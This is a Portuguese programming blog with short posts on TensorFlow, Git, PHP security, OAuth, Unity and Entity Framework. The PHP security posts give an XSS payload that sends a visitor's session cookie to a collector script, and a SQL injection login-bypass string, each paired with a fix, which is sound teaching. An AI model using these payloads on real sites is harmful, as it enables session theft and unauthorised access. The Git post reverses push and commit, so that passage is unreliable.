quinta-feira, 4 de janeiro de 2018

Instalar TensorFlow no Windows 10 com Anaconda

Este vídeo mostra como instalar o TensorFlow no Windows utilizando o Anaconda sem utilizar a linha de comandos.



Começa por abrir a ferramenta Anaconda Navigator e criar um Environment (Ambiente).

Agora, com o ambiente criado selecionado, pesquise pelo TensorFlow e clique em install.

De seguida instalamos o editor de código Spyder.

Por fim podemos atualizar a versão do TensorFlow com o comando:

     conda install -c conda-forge tensorflow

Muito importante, devemos sempre executar o spyder através da linha de comandos deste ambiente, de outro modo o package do TensorFlow não está disponível.

sábado, 24 de junho de 2017

Git com Visual Studio

Git é um sistema de controlo de versões (VCS) criado por Linus Torvalds em 2005. Com o Git é possível controlar as alterações que são feitas em cada ficheiro ao longo do tempo, permitindo também coordenar as alterações entre diferentes elementos de uma equipa.

É um sistema mais utilizado na produção de software, mas pode ser utilizador para manter um registo das alterações ocorridas em qualquer ficheiro.

Cada utilizador mantém um repositório dos ficheiros a controlar localmente, na sua máquina, e de cada vez que pretender registar as alterações executa um comando denominado de push.
As alterações locais podem, posteriormente, ser enviadas para um servidor, onde todas as alterações são registadas, esta operação é executada com o comando commit.

Sendo uma ferramenta originalmente desenvolvida para Linux todos os seus comandos são executados através da linha de comando. No entanto, estes comandos podem ser executados através de interfaces gráficas que simplificam a sua utilização.

O Visual Studio integra uma ferramenta que permite tirar partido deste sistema, independentemente do servidor escolhido para fazer o controlo das versões. É possível utilizar um serviço da própria Microsoft, o GitHub ou qualquer outro servidor que suporte os comandos Git, como por exemplo o BitBucket.

O Git pode ser integrado no projeto desde a sua criação no Visual Studio, para isso basta selecionar a opção Create new Git repository.

segunda-feira, 2 de janeiro de 2017

Segurança em páginas PHP - Parte 2

Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.

Primeiro o código da página é o seguinte:



Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.

Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.

Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:

<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>

O código PHP que vai capturar o cookie é o seguinte:



Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.

Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
(código retirado de www.w3schools.com)

Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.




terça-feira, 27 de dezembro de 2016

Segurança em páginas PHP

Uma preocupação que deve estar presente em todos os programadores Web é a segurança dos seus produtos.

Com este artigo iniciamos uma série de posts em que vamos explorar alguns problemas básicos de segurança relacionados com a injeção de instruções SQL em formulários web ou parâmetros da URL.

Serão apresentados exemplos de código com problemas de segurança e de como os evitar.

Então vamos começar por um simples formulário para login implementado com o seguinte código:





Neste exemplo o código verifica se foi devolvido mais do que um registo da base de dados, assumindo assim que as credenciais fornecidas estão corretas.

O maior erro envolve a concatenação dos valores recebidos do formulário com a instrução SQL, permitindo, por isso, que o utilizador manipule a instrução ao seu belo prazer.

Independentemente do nome de utilizador inserido basta escrever na palavra passe o seguinte texto para se optar a indicação de que o login foi concluído com sucesso: o' or 1=1 #

Com este texto a instrução SQL vai devolver sempre um registo pois 1 é igual a 1. O # no final permite ignorar o resto da instrução pois é o simbolo para comentários em MySQL.

A solução para este problema passa por utilizar parâmetros, preparando a instrução antes de a executar. Assim o seguinte código resolve este problema:





terça-feira, 14 de junho de 2016

Google OAuth 2.0 em ASPX

Neste artigo vamos explorar a identificação de utilizadores através de serviços externos à aplicação web, nomeadamente através de uma conta de utilizador Google.

Para desenvolver o site vamos utilizar o Visual Studio 2015 recorrendo à tecnologia Webforms ASPX e com a linguagem de programação C#.

O site vai incluir uma opção para registo do utilizador e outra para o login que permitirá o acesso a páginas privadas.

Começamos por criar um projeto no VS.

PacMan 3D

Neste artigo vamos fazer um jogo simples, o clássico Pacman em 3D. Para isso vamos utilizar o Unity 3D, claro.

Vamos começar por criar um projeto novo.

segunda-feira, 4 de abril de 2016

Entity Framework

Neste post vamos aprender a utilizar a framework entity para o desenvolvimento de automático das operações de inserção, remoção, atualização e consulta de uma tabela.

Começamos por criar um projeto web em MVC com o Visual Studio 2015.